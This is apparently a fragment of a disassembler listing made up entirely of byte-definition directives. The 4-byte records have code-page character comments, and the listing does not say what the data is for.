		db 0CBh	; к
		db  47h	; G
		db  96h	; √
		db 0FDh	; Щ
		db 0CBh	; к
		db  47h	; G
		db  9Eh	; ·
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  10h	;  
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0B6h	; І
		db 0FDh	; Щ
		db 0CBh	; к
		db  47h	; G
		db 0BAh	; ╨
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0C6h	; ф
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0CCh	; л
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0CEh	; н
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0D0h	; п
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0D3h	; с
		db    6	;  
		db 0CBh	; к
		db  47h	; G
		db 0D4h	; т
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0D5h	; у
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0DDh	; щ
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0E1h	; А
		db 0FEh	; Ч
		db 0CBh	; к
		db  47h	; G
		db 0E8h	; Х
		db    2	;  
		db 0CBh	; к
		db  47h	; G
		db 0EFh	; О
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0F7h	; В
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db 0FAh	; З
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db    3	;  
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  34h	; 4
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  3Fh	; ?
		db    5	;  
		db 0CBh	; к
		db  47h	; G
		db  48h	; H
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  4Ah	; J
		db  0Ah	;  
		db 0CBh	; к
		db  47h	; G
		db  4Ah	; J
		db  0Ch	;  
		db 0CBh	; к
		db  47h	; G
		db  4Eh	; N
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  60h	; `
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  62h	; b
		db    3	;  
		db 0CBh	; к
		db  48h	; H
		db  99h	; ≥
		db    6	;  
		db 0CBh	; к
		db  48h	; H
		db 0B0h	; ╟
		db 0FDh	; Щ
		db 0CBh	; к
		db  4Ah	; J
		db 0A2h	; ╒
		db  21h	; !
		db 0CBh	; к
		db  4Ah	; J
		db 0E4h	; Д
		db  11h	;  
		db 0CBh	; к
		db  4Fh	; O
		db 0E0h	; Ю
		db  1Eh	;  
		db 0CBh	; к
		db  54h	; T
		db 0C0h	; ю
		db    1	;  
		db 0CBh	; к
		db  57h	; W
		db  52h	; R
		db  13h	;  
		db 0CBh	; к
		db  59h	; Y
		db 0E1h	; А
		db  8Dh	; █
		db 0CBh	; к
		db    9	;  
		db  96h	; √
		db    1	;  
		db 0CBh	; к
		db    9	;  
		db 0BEh	; Ў
		db  11h	;  
		db 0CBh	; к
		db  5Bh	; [
		db 0EEh	; Н
		db 0FAh	; З
		db 0CBh	; к
		db  5Bh	; [
		db  40h	; @
		db  87h	; ┤
		db 0CBh	; к
		db  61h	; a
		db  21h	; !
		db    1	;  
		db 0CBh	; к
		db  61h	; a
		db  25h	; %
		db    1	;  
		db 0CCh	; л
		db    1	;  
		db  6Ah	; j
		db    4	;  
		db 0CCh	; л
		db    1	;  
		db  6Ah	; j
		db    5	;  
		db 0CCh	; л
		db    1	;  
		db    2	;  
		db  0Ah	;  
		db 0CCh	; л
		db    1	;  
		db  1Ch	;  
		db  0Bh	;  
		db 0CCh	; л
		db    1	;  
		db  1Ch	;  
		db  3Bh	; ;
		db 0CCh	; л
		db  64h	; d
		db  40h	; @
		db    7	;  
		db 0CCh	; л
		db  65h	; e
		db  6Bh	; k
		db    2	;  
		db 0CCh	; л
		db  65h	; e
		db  8Dh	; █
		db    1	;  
		db 0CCh	; л
		db  65h	; e
		db  99h	; ≥
		db  18h	;  
		db 0CCh	; л
		db  65h	; e
		db  9Ah	;  
		db    3	;  
		db 0CCh	; л
		db  65h	; e
		db  9Dh	; ²
		db  19h	;  
		db 0CCh	; л
		db  65h	; e
		db 0A0h	; ═
		db    2	;  
		db 0CCh	; л
		db  65h	; e
		db 0ACh	; ╛
		db    1	;  
		db 0CCh	; л
		db  65h	; e
		db 0B3h	; Ё
		db  0Ah	;  
		db 0CCh	; л
		db  65h	; e
		db 0B3h	; Ё
		db    3	;  
		db 0CCh	; л
		db  65h	; e
		db 0BCh	; ╪
		db    2	;  
		db 0CCh	; л
		db  65h	; e
		db 0BCh	; ╪
		db    3	;  
		db 0CCh	; л
		db  65h	; e
		db 0BCh	; ╪
		db    4	;  
		db 0CCh	; л
		db  65h	; e
		db 0BEh	; Ў
		db    4	;  
		db 0CCh	; л
		db  65h	; e
		db 0BEh	; Ў
		db    5	;  
		db 0CCh	; л
		db  65h	; e
		db 0D7h	; в
		db  0Ah	;  
		db 0CCh	; л
		db  65h	; e
		db 0D9h	; ы
		db 0FEh	; Ч
		db 0CCh	; л
		db  65h	; e
		db 0E0h	; Ю
		db    2	;  
		db 0CCh	; л
		db  65h	; e
		db 0E4h	; Д
		db  2Ch	; ,
		db 0CCh	; л
		db  65h	; e
		db 0FBh	; Ш
		db    1	;  
		db 0CCh	; л
		db  65h	; e
		db 0FBh	; Ш
		db    2	;  
		db 0CCh	; л
		db  65h	; e
		db  36h	; 6
		db  1Ch	;  
		db 0CCh	; л
		db  65h	; e
		db  4Ch	; L
		db    2	;  
		db 0CCh	; л
		db  65h	; e
		db  4Fh	; O
		db  4Fh	; O
		db 0CCh	; л
		db  65h	; e
		db  56h	; V
		db    2	;  
		db 0CCh	; л
		db  65h	; e
		db  5Fh	; _
		db    1	;  
		db 0CCh	; л
		db  66h	; f
		db  3Dh	; =
		db  41h	; A
		db 0CCh	; л
		db  6Bh	; k
		db  13h	;  
		db  14h	;  
		db 0CCh	; л
		db  6Fh	; o
		db    1	;  
		db  23h	; #
		db 0CCh	; л
		db  6Fh	; o
		db    1	;  
		db  24h	; $
		db 0CCh	; л
		db  71h	; q
		db    1	;  
		db  0Ah	;  
		db 0CCh	; л
		db  74h	; t
		db  39h	; 9
		db    2	;  
		db 0CCh	; л
		db  75h	; u
		db 0B0h	; ╟
		db  0Bh	;  
		db 0CCh	; л
		db  75h	; u
		db 0D6h	; ж
		db  0Ah	;  
		db 0CCh	; л
		db  76h	; v
		db    6	;  
		db  0Eh	;  
		db 0CCh	; л
		db  76h	; v
		db    6	;  
		db    2	;  
		db 0CCh	; л
		db  76h	; v
		db  3Fh	; ?
		db    4	;  
		db 0CCh	; л
		db  76h	; v
		db  3Fh	; ?
		db    5	;  
		db 0CCh	; л
		db  77h	; w
		db 0F0h	; П
		db  19h	;  
		db 0CCh	; л
		db  77h	; w
		db 0F0h	; П
		db    8	;  
		db 0CCh	; л
		db  78h	; x
		db  70h	; p
		db    2	;  
		db 0CCh	; л
		db  78h	; x
		db  7Ah	; z
		db 0D7h	; в
		db 0CCh	; л
		db  79h	; y
		db    3	;  
		db    1	;  
		db 0CCh	; л
		db  79h	; y
		db    6	;  
		db    1	;  
		db 0CCh	; л
		db  7Bh	; {
		db    2	;  
		db  12h	;  
		db 0CCh	; л
		db  7Bh	; {
		db    2	;  
		db  2Ah	; *
		db 0CCh	; л
		db  7Ch	; |
		db 0C0h	; ю
		db    8	;  
		db 0CCh	; л
		db  7Ch	; |
		db 0C1h	; а
		db  23h	; #
		db 0CCh	; л
		db  7Fh	; 
		db  81h	; │
		db    1	;  
		db 0CCh	; л
		db  7Fh	; 
		db  81h	; │
		db    2	;  
		db 0CCh	; л
		db  7Fh	; 
		db 0C1h	; а
		db  1Dh	;  
		db 0CCh	; л
		db  80h	; ─
		db 0C0h	; ю
		db  0Ah	;  
		db 0CCh	; л
		db  81h	; │
		db  78h	; x
		db  7Dh	; }
		db 0CCh	; л
		db  81h	; │
		db  80h	; ─
		db  0Ah	;  
		db 0CCh	; л
		db  81h	; │
		db  81h	; │
		db 0FEh	; Ч
		db 0CCh	; л
		db  83h	; ┐
		db 0A6h	; і
		db 0FDh	; Щ
		db 0CCh	; л
		db  83h	; ┐
		db  11h	;  
		db    1	;  
		db 0CCh	; л
		db  83h	; ┐
		db 0ABh	; ╚
		db  1Ah	;  
		db 0CCh	; л
		db  83h	; ┐
		db  19h	;  
		db    1	;  
		db 0CCh	; л
		db  83h	; ┐
		db  2Eh	; .
		db 0C8h	; х
		db 0CCh	; л
		db  83h	; ┐
		db  32h	; 2
		db    1	;  
		db 0CCh	; л
		db  83h	; ┐
		db  52h	; R
		db 0F8h	; Ь
		db 0CCh	; л
		db  85h	; ┘
		db 0F3h	; С
		db 0FCh	; Э
		db 0CCh	; л
		db  86h	; ├
		db  87h	; ┤
		db  0Dh	;  
		db 0CCh	; л
		db  86h	; ├
		db  88h	; ┬
		db  0Ah	;  
		db 0CCh	; л
		db  86h	; ├
		db 0D6h	; ж
		db    5	;  
		db 0CCh	; л
		db  89h	; ┴
		db  0Eh	;  
		db  0Eh	;  
		db 0CCh	; л
		db  8Ah	; ┼
		db  73h	; s
		db  19h	;  
		db 0CCh	; л
		db  8Ah	; ┼
		db 0EFh	; О
		db  3Ch	; <
		db 0CCh	; л
		db  8Ch	; ▄
		db 0AAh	; ╙
		db    4	;  
		db 0CCh	; л
		db  8Ch	; ▄
		db 0AAh	; ╙
		db    6	;  
		db 0CCh	; л
		db  8Ch	; ▄
		db 0B9h	; ╧
		db 0E4h	; Д
		db 0CCh	; л
		db  8Ch	; ▄
		db 0BCh	; ╪
		db    8	;  
		db 0CCh	; л
		db  8Ch	; ▄
		db 0BDh	; Ґ
		db    9	;  
		db 0CCh	; л
		db  8Ch	; ▄
		db 0DCh	; э
		db    3	;  
		db 0CCh	; л
		db  8Ch	; ▄
		db 0E7h	; Г
		db    3	;  
		db 0CCh	; л
		db  8Ch	; ▄
		db 0E7h	; Г
		db    4	;  
		db 0CCh	; л
		db  8Dh	; █
		db  67h	; g
		db    2	;  
		db 0CCh	; л
		db  8Dh	; █
		db  67h	; g
		db    3	;  
		db 0CCh	; л
		db  8Dh	; █
		db 0D8h	; ь
		db  0Ah	;  
		db 0CCh	; л
		db  8Dh	; █
		db 0D8h	; ь
		db  0Ch	;  
		db 0CCh	; л
		db  8Dh	; █
		db  3Ch	; <
		db  0Ah	;  
		db 0CCh	; л
		db  8Dh	; █
		db  3Ch	; <
		db  0Bh	;  
		db 0CCh	; л
		db  92h	; ▓
		db 0ACh	; ╛
		db 0D2h	; р
		db 0CCh	; л
		db  92h	; ▓
		db 0ADh	; ґ
		db  23h	; #
		db 0CCh	; л
		db  92h	; ▓
		db 0B0h	; ╟
		db 0C3h	; ц
		db 0CCh	; л
		db  93h	; ⌠
		db  80h	; ─
		db  46h	; F
		db 0CCh	; л
		db  93h	; ⌠
		db  80h	; ─
		db  4Eh	; N
		db 0CCh	; л
		db  93h	; ⌠
		db  50h	; P
		db    1	;  
		db 0CCh	; л
		db  93h	; ⌠
		db  50h	; P
		db    5	;  
		db 0CCh	; л
		db  93h	; ⌠
		db  50h	; P
		db    6	;  
		db 0CCh	; л
		db  95h	; ∙
		db  51h	; Q
		db  0Ah	;  
		db 0CCh	; л
		db  95h	; ∙
		db  55h	; U
		db    5	;  
		db 0CCh	; л
		db  97h	; ≈
		db 0F9h	; Ы
		db  15h	;  
		db 0CCh	; л
		db  97h	; ≈
		db  3Dh	; =
		db    5	;  
		db 0CCh	; л
		db  97h	; ≈
		db  48h	; H
		db    2	;  
		db 0CCh	; л
		db  97h	; ≈
		db  48h	; H
		db    8	;  
		db 0CCh	; л
		db  97h	; ≈
		db  61h	; a
		db  11h	;  
		db 0CCh	; л
		db  98h	; ≤
		db  8Fh	; ▐
		db    1	;  
		db 0CCh	; л
		db  98h	; ≤
		db 0A6h	; і
		db  9Bh	; ⌡
		db 0CCh	; л
		db  98h	; ≤
		db 0B8h	; ╦
		db  40h	; @
		db 0CCh	; л
		db  99h	; ≥
		db  18h	;  
		db    1	;  
		db 0CCh	; л
		db  99h	; ≥
		db  40h	; @
		db    2	;  
		db 0CCh	; л
		db  99h	; ≥
		db  47h	; G
		db 0ABh	; ╚
		db 0CCh	; л
		db  99h	; ≥
		db  47h	; G
		db 0ACh	; ╛
		db 0CCh	; л
		db  99h	; ≥
		db  51h	; Q
		db  17h	;  
		db 0CCh	; л
		db  99h	; ≥
		db  51h	; Q
		db  18h	;  
		db 0CCh	; л
		db  9Dh	; ²
		db    3	;  
		db  0Dh	;  
		db 0CCh	; л
		db  9Fh	; ÷
		db  6Ch	; l
		db  47h	; G
		db 0CCh	; л
		db  9Fh	; ÷
		db  6Eh	; n
		db  47h	; G
		db 0CCh	; л
		db 0A1h	; ║
		db  68h	; h
		db  43h	; C
		db 0CCh	; л
		db 0A1h	; ║
		db  6Bh	; k
		db  14h	;  
		db 0CCh	; л
		db 0A1h	; ║
		db    4	;  
		db  0Ah	;  
		db 0CCh	; л
		db 0A1h	; ║
		db  34h	; 4
		db  0Ah	;  
		db 0CCh	; л
		db 0A1h	; ║
		db  34h	; 4
		db  10h	;  
		db 0CCh	; л
		db 0A2h	; ╒
		db  7Ch	; |
		db  42h	; B
		db 0CCh	; л
		db 0A3h	; ё
		db 0A7h	; ї
		db  68h	; h
		db 0CCh	; л
		db 0A5h	; ╔
		db 0C8h	; х
		db  56h	; V
		db 0CCh	; л
		db 0A5h	; ╔
		db 0D6h	; ж
		db 0A0h	; ═
		db 0CCh	; л
		db 0A5h	; ╔
		db 0D6h	; ж
		db    2	;  
		db 0CCh	; л
		db 0A6h	; і
		db  6Fh	; o
		db  12h	;  
		db 0CCh	; л
		db 0A6h	; і
		db 0BEh	; Ў
		db    3	;  
		db 0CCh	; л
		db 0A6h	; і
		db 0C3h	; ц
		db  1Eh	;  
		db 0CCh	; л
		db 0A6h	; і
		db  38h	; 8
		db  73h	; s
		db 0CCh	; л
		db 0A6h	; і
		db  38h	; 8
		db 0B3h	; Ё
		db 0CCh	; л
		db 0A6h	; і
		db  3Dh	; =
		db 0F2h	; Р
		db 0CCh	; л
		db 0A6h	; і
		db  3Dh	; =
		db 0F5h	; У
		db 0CCh	; л
		db 0A8h	; ╗
		db  1Ch	;  
		db    9	;  
		db 0CCh	; л
		db  11h	;  
		db 0D9h	; ы
		db  0Dh	;  
		db 0CCh	; л
		db 0AAh	; ╙
		db  44h	; D
		db  51h	; Q
		db 0CCh	; л
		db 0ABh	; ╚
		db 0A8h	; ╗
		db    2	;  
		db 0CCh	; л
		db 0ABh	; ╚
		db 0A8h	; ╗
		db 0F9h	; Ы
		db 0CCh	; л
		db 0ABh	; ╚
		db 0BAh	; ╨
		db    2	;  
		db 0CCh	; л
		db 0ABh	; ╚
		db  1Fh	;  
		db    4	;  
		db 0CCh	; л
		db 0ABh	; ╚
		db  30h	; 0
		db    2	;  
		db 0CCh	; л
		db 0ABh	; ╚
		db  30h	; 0
		db    6	;  
		db 0CCh	; л
		db 0AEh	; ў
		db  67h	; g
		db  22h	; "
		db 0CCh	; л
		db 0AEh	; ў
		db  10h	;  
		db    4	;  
		db 0CCh	; л
		db 0AEh	; ў
		db  12h	;  
		db    2	;  
		db 0CCh	; л
		db 0AEh	; ў
		db 0DEh	; ч
		db  14h	;  
		db 0CCh	; л
		db 0AEh	; ў
		db 0DEh	; ч
		db  15h	;  
		db 0CCh	; л
		db 0AEh	; ў
		db  23h	; #
		db  17h	;  
		db 0CCh	; л
		db 0AEh	; ў
		db  40h	; @
		db    1	;  
		db 0CCh	; л
		db 0AEh	; ў
		db  41h	; A
		db    1	;  
		db 0CCh	; л
		db 0B0h	; ╟
		db  14h	;  
		db  15h	;  
		db 0CCh	; л
		db 0B0h	; ╟
		db  14h	;  
		db  1Ah	;  
		db 0CCh	; л
		db 0B1h	; ╠
		db  20h	;  
		db    2	;  
		db 0CCh	; л
		db 0B1h	; ╠
		db  20h	;  
		db    3	;  
		db 0CCh	; л
		db 0B2h	; ╡
		db  10h	;  
		db  31h	; 1
		db 0CCh	; л
		db 0B2h	; ╡
		db  10h	;  
		db    6	;  
		db 0CCh	; л
		db 0B4h	; Є
		db 0E5h	; Е
		db  0Bh	;  
		db 0CCh	; л
		db 0B4h	; Є
		db 0E5h	; Е
		db  0Ch	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db  98h	; ≤
		db    2	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db  98h	; ≤
		db  33h	; 3
		db 0CCh	; л
		db 0B5h	; ╣
		db 0B0h	; ╟
		db    2	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db 0B0h	; ╟
		db    6	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db 0C0h	; ю
		db    2	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db 0C0h	; ю
		db    4	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db 0C8h	; х
		db  0Ah	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db 0C8h	; х
		db    2	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db  26h	; &
		db  0Ah	;  
		db 0CCh	; л
		db 0B5h	; ╣
		db  26h	; &
		db  0Fh	;  
		db 0CCh	; л
		db 0BAh	; ╨
		db    0	;  
		db 0C9h	; и
		db 0CCh	; л
		db 0BAh	; ╨
		db    0	;  
		db 0CAh	; й
		db 0CCh	; л
		db 0BBh	; ╩
		db  3Bh	; ;
		db    1	;  
		db 0CCh	; л
		db 0BBh	; ╩
		db  3Bh	; ;
		db    2	;  
		db 0CCh	; л
		db 0BBh	; ╩
		db  58h	; X
		db  0Ah	;  
		db 0CCh	; л
		db 0BDh	; Ґ
		db  54h	; T
		db  0Ah	;  
		db 0CCh	; л
		db 0BDh	; Ґ
		db  54h	; T
		db    8	;  
		db 0CCh	; л
		db 0BDh	; Ґ
		db  5Eh	; ^
		db  25h	; %
		db 0CCh	; л
		db 0BDh	; Ґ
		db  5Eh	; ^
		db  46h	; F
		db 0CCh	; л
		db  13h	;  
		db  8Ah	; ┼
		db    1	;  
		db 0CCh	; л
		db 0C2h	; б
		db  0Ah	;  
		db 0CEh	; н
		db 0CCh	; л
		db 0C2h	; б
		db  68h	; h
		db    3	;  
		db 0CCh	; л
		db 0C2h	; б
		db  68h	; h
		db    4	;  
		db 0CCh	; л
		db 0C2h	; б
		db  24h	; $
		db  0Eh	;  
		db 0CCh	; л
		db 0C9h	; и
		db 0DCh	; э
		db    2	;  
		db 0CCh	; л
		db 0D0h	; п
		db  85h	; ┘
		db 0C8h	; х
		db 0CCh	; л
		db 0D0h	; п
		db  85h	; ┘
		db 0DCh	; э
		db 0CCh	; л
		db 0D3h	; с
		db 0B9h	; ╧
		db 0E6h	; Ф
		db 0CCh	; л
		db 0D3h	; с
		db 0DEh	; ч
		db    5	;  
		db 0CCh	; л
		db 0D4h	; т
		db 0ABh	; ╚
		db    1	;  
		db 0CCh	; л
		db 0D4h	; т
		db 0ABh	; ╚
		db    2	;  
		db 0CCh	; л
		db 0D4h	; т
		db  24h	; $
		db    2	;  
		db 0CCh	; л
		db 0D4h	; т
		db  24h	; $
		db    5	;  
		db 0CCh	; л
		db 0D5h	; у
		db 0B0h	; ╟
		db    1	;  
		db 0CCh	; л
		db 0D5h	; у
		db 0B0h	; ╟
		db    2	;  
		db 0CCh	; л
		db 0D5h	; у
		db 0FAh	; З
		db  14h	;  
		db 0CCh	; л
		db 0D5h	; у
		db 0FAh	; З
		db  15h	;  
		db 0CCh	; л
		db 0D6h	; ж
		db    5	;  
		db    9	;  
		db 0CCh	; л
		db 0D7h	; в
		db  3Ch	; <
		db    2	;  
		db 0CCh	; л
		db 0D7h	; в
		db  3Ch	; <
		db    5	;  
		db 0CCh	; л
		db 0DAh	; з
		db 0D2h	; р
		db    5	;  
		db 0CCh	; л
		db 0DCh	; э
		db  8Ch	; ▄
		db    1	;  
		db 0CCh	; л
		db 0DCh	; э
		db  8Ch	; ▄
		db  0Bh	;  
		db 0CCh	; л
		db 0DDh	; щ
		db  72h	; r
		db    1	;  
		db 0CCh	; л
		db 0DDh	; щ
		db 0F0h	; П
		db  0Fh	;  
		db 0CCh	; л
		db 0DDh	; щ
		db  2Dh	; -
		db    3	;  
		db 0CCh	; л
		db 0E1h	; А
		db 0F7h	; В
		db  83h	; ┐
		db 0CCh	; л
		db 0E3h	; Ц
		db 0B6h	; І
		db    1	;  
		db 0CCh	; л
		db 0EEh	; Н
		db  78h	; x
		db  15h	;  
		db 0CCh	; л
		db 0EEh	; Н
		db  78h	; x
		db    5	;  
		db 0CCh	; л
		db 0EFh	; О
		db 0A7h	; ї
		db    1	;  
		db 0CCh	; л
		db 0EFh	; О
		db 0A7h	; ї
		db  0Bh	;  
		db 0CCh	; л
		db 0F1h	; Я
		db 0BEh	; Ў
		db    1	;  
		db 0CCh	; л
		db 0F1h	; Я
		db 0DAh	; з
		db    2	;  
		db 0CCh	; л
		db 0F2h	; Р
		db  94h	; ■
		db    2	;  
		db 0CCh	; л
		db 0F4h	; Т
		db    3	;  
		db  81h	; │
		db 0CCh	; л
		db 0F4h	; Т
		db  63h	; c
		db  42h	; B
		db 0CCh	; л
		db 0F6h	; Ж
		db    1	;  
		db  14h	;  
		db 0CCh	; л
		db 0F7h	; В
		db 0F7h	; В
		db  14h	;  
		db 0CCh	; л
		db 0F8h	; Ь
		db  3Ch	; <
		db  0Ah	;  
		db 0CCh	; л
		db 0F8h	; Ь
		db  3Ch	; <
		db    9	;  
		db 0CCh	; л
		db 0F9h	; Ы
		db 0EEh	; Н
		db  0Ah	;  
		db 0CCh	; л
		db 0F9h	; Ы
		db 0EEh	; Н
		db  0Bh	;  
		db 0CCh	; л
		db 0FBh	; Ш
		db  8Ah	; ┼
		db    2	;  
		db 0CCh	; л
		db 0FBh	; Ш
		db  8Ah	; ┼
		db    6	;  
		db 0CCh	; л
		db 0FBh	; Ш
		db 0C8h	; х
		db  0Ch	;  
		db 0CCh	; л
		db 0FBh	; Ш
		db 0CCh	; л
		db  28h	; (
		db 0CCh	; л
		db 0FBh	; Ш
		db 0CEh	; н
		db    2	;  
		db 0CCh	; л
		db 0FBh	; Ш
		db 0EFh	; О
		db    2	;  
		db 0CCh	; л
		db 0FBh	; Ш
		db 0EFh	; О
		db    3	;  
		db 0CCh	; л
		db 0FBh	; Ш
		db  5Dh	; ]
		db    2	;  
		db 0CCh	; л
		db 0FDh	; Щ
		db  53h	; S
		db  0Ah	;  
		db 0CCh	; л
		db 0FDh	; Щ
		db  53h	; S
		db  64h	; d
		db 0CCh	; л
		db 0FEh	; Ч
		db  76h	; v
		db    1	;  
		db 0CCh	; л
		db 0FEh	; Ч
		db 0AFh	; ╞
		db 0FBh	; Ш
		db 0CCh	; л
		db  1Ah	;  
		db  57h	; W
		db  5Ah	; Z
		db 0CCh	; л
		db  1Dh	;  
		db  8Ch	; ▄
		db 0FAh	; З
		db 0CCh	; л
		db  1Dh	;  
		db  8Ch	; ▄
		db 0FBh	; Ш
		db 0CCh	; л
		db  1Dh	;  
		db 0B9h	; ╧
		db    1	;  
		db 0CCh	; л
		db  1Dh	;  
		db 0B9h	; ╧
		db    8	;  
		db 0CCh	; л
		db  1Fh	;  
		db    1	;  
		db    1	;  
		db 0CCh	; л
		db  1Fh	;  
		db 0CBh	; к
		db    2	;  
		db 0CCh	; л
		db  20h	;  
		db  16h	;  
		db    2	;  
		db 0CCh	; л
		db  21h	; !
		db  42h	; B
		db 0D4h	; т
		db 0CCh	; л
		db  22h	; "
		db 0D3h	; с
		db  51h	; Q
		db 0CCh	; л
		db  22h	; "
		db 0E7h	; Г
		db    4	;  
		db 0CCh	; л
		db  24h	; $
		db  10h	;  
		db 0CBh	; к
		db 0CCh	; л
		db  32h	; 2
		db 0F9h	; Ы
		db    1	;  
		db 0CCh	; л
		db  32h	; 2
		db 0FAh	; З
		db    1	;  
		db 0CCh	; л
		db  33h	; 3
		db    1	;  
		db    1	;  
		db 0CCh	; л
		db  39h	; 9
		db  42h	; B
		db    2	;  
		db 0CCh	; л
		db  39h	; 9
		db  43h	; C
		db    2	;  
		db 0CCh	; л
		db  39h	; 9
		db  43h	; C
		db  14h	;  
		db 0CCh	; л
		db  3Bh	; ;
		db    1	;  
		db 0DEh	; ч
		db 0CCh	; л
		db  3Bh	; ;
		db  90h	; ░
		db 0DEh	; ч
		db 0CCh	; л
		db  3Bh	; ;
		db  40h	; @
		db 0DEh	; ч
		db 0CCh	; л
		db  3Ch	; <
		db    0	;  
		db    2	;  
		db 0CCh	; л
		db  3Ch	; <
		db    0	;  
		db    3	;  
		db 0CCh	; л
		db  3Dh	; =
		db 0CDh	; м
		db  65h	; e
		db 0CCh	; л
		db  3Dh	; =
		db 0CDh	; м
		db  78h	; x
		db 0CCh	; л
		db  3Eh	; >
		db  20h	;  
		db  0Ah	;  
		db 0CCh	; л
		db  40h	; @
		db 0B5h	; ╣
		db 0C8h	; х
		db 0CCh	; л
		db  43h	; C
		db    3	;  
		db    2	;  
		db 0CCh	; л
		db  44h	; D
		db 0B4h	; Є
		db  20h	;  
		db 0CCh	; л
		db  44h	; D
		db 0E3h	; Ц
		db    1	;  
		db 0CCh	; л
		db  45h	; E
		db 0EAh	; Й
		db    1	;  
		db 0CCh	; л
		db  46h	; F
		db  80h	; ─
		db    1	;  
		db 0CCh	; л
		db  46h	; F
		db 0B0h	; ╟
		db  45h	; E
		db 0CCh	; л
		db  46h	; F
		db  19h	;  
		db 0EAh	; Й
		db 0CCh	; л
		db  46h	; F
		db  31h	; 1
		db 0EAh	; Й
		db 0CCh	; л
		db  46h	; F
		db  39h	; 9
		db 0F2h	; Р
		db 0CCh	; л
		db  47h	; G
		db  64h	; d
		db 0F8h	; Ь
		db 0CCh	; л
		db  47h	; G
		db  64h	; d
		db    3	;  
		db 0CCh	; л
		db  47h	; G
		db  6Ah	; j
		db    3	;  
		db 0CCh	; л
		db  47h	; G
		db  74h	; t
		db  19h	;  
		db 0CCh	; л
		db  47h	; G
		db  76h	; v
		db  22h	; "
		db 0CCh	; л
		db  47h	; G
		db  77h	; w
		db  0Bh	;  
		db 0CCh	; л
		db  47h	; G
		db  7Fh	; 
		db    2	;  
		db 0CCh	; л
		db  47h	; G
		db  9Ah	;  
		db    5	;  
		db 0CCh	; л
		db  47h	; G
		db  9Ch	; °
		db    2	;  
		db 0CCh	; л
		db  47h	; G
		db  9Ch	; °
		db    4	;  
		db 0CCh	; л
		db  47h	; G
		db  9Dh	; ²
		db    3	;  
		db 0CCh	; л
		db  47h	; G
		db  13h	;  
		db  0Ah	;  
		db 0CCh	; л
		db  47h	; G
		db  13h	;  
		db  14h	;  
		db 0CCh	; л
		db  47h	; G
		db 0C8h	; х
		db  21h	; !
		db 0CCh	; л
		db  47h	; G
		db 0D1h	; я
		db    2	;  
		db 0CCh	; л
		db  47h	; G
		db 0D4h	; т
		db    2	;  
		db 0CCh	; л
		db  47h	; G
		db  2Dh	; -
		db    2	;  
		db 0CCh	; л
		db  47h	; G
		db  44h	; D
		db    2	;  
		db 0CCh	; л
		db  47h	; G
		db  44h	; D
		db    3	;  
		db 0CCh	; л
		db  47h	; G
		db  4Bh	; K
		db  8Ah	; ┼
		db 0CCh	; л
		db  47h	; G
		db  58h	; X
		db  12h	;  
		db 0CCh	; л
		db  47h	; G
		db  5Ch	; \
		db    1	;  
		db 0CCh	; л
		db  48h	; H
		db  80h	; ─
		db  0Ah	;  
		db 0CCh	; л
		db  48h	; H
		db  80h	; ─
		db  0Bh	;  
		db 0CCh	; л
		db  49h	; I
		db  37h	; 7
		db    3	;  
		db 0CCh	; л
		db  49h	; I
		db  4Ah	; J
		db    1	;  
		db 0CCh	; л
		db  4Ah	; J
		db  65h	; e
		db    1	;  
		db 0CCh	; л
		db  4Dh	; M
		db  81h	; │
		db  12h	;  
		db 0CCh	; л
		db  4Eh	; N
		db  20h	;  
		db  0Ah	;  
		db 0CCh	; л
		db  51h	; Q
		db    0	;  
		db  0Bh	;  
		db 0CCh	; л
		db  53h	; S
		db  14h	;  
		db    8	;  
		db 0CCh	; л
		db  53h	; S
		db  14h	;  
		db    9	;  
		db 0CCh	; л
		db  58h	; X
		db  80h	; ─
		db    7	;  
		db 0CCh	; л
		db  5Ah	; Z
		db  6Fh	; o
		db    1	;  
		db 0CCh	; л
		db  5Ah	; Z
		db  6Fh	; o
		db    2	;  
		db 0CCh	; л
		db  5Ah	; Z
		db  14h	;  
		db    6	;  
		db 0CCh	; л
		db  5Bh	; [
		db  0Bh	;  
		db    6	;  
		db 0CCh	; л
		db  5Bh	; [
		db  74h	; t
		db    2	;  
		db 0CCh	; л
		db  5Bh	; [
		db  0Eh	;  
		db    5	;  
		db 0CCh	; л
		db  5Bh	; [
		db  0Eh	;  
		db    6	;  
		db 0CCh	; л
		db  5Bh	; [
		db  9Bh	; ⌡
		db    4	;  
		db 0CCh	; л
		db  5Bh	; [
		db  13h	;  
		db    2	;  
		db 0CCh	; л
		db  5Bh	; [
		db 0E8h	; Х
		db  42h	; B
		db 0CCh	; л
		db  5Bh	; [
		db 0F0h	; П
		db  64h	; d
		db 0CCh	; л
		db  5Bh	; [
		db 0F0h	; П
		db  65h	; e
		db 0CCh	; л
		db  5Bh	; [
		db  48h	; H
		db    3	;  
		db 0CCh	; л
		db  5Bh	; [
		db  55h	; U
		db  0Bh	;  
		db 0CCh	; л
		db  5Bh	; [
		db  55h	; U
		db    9	;  
		db 0CCh	; л
		db  5Bh	; [
		db  63h	; c
		db  8Ch	; ▄
		db 0CCh	; л
		db  5Eh	; ^
		db 0D6h	; ж
		db  13h	;  
		db 0CCh	; л
		db  5Eh	; ^
		db 0D6h	; ж
		db  23h	; #
		db 0CCh	; л
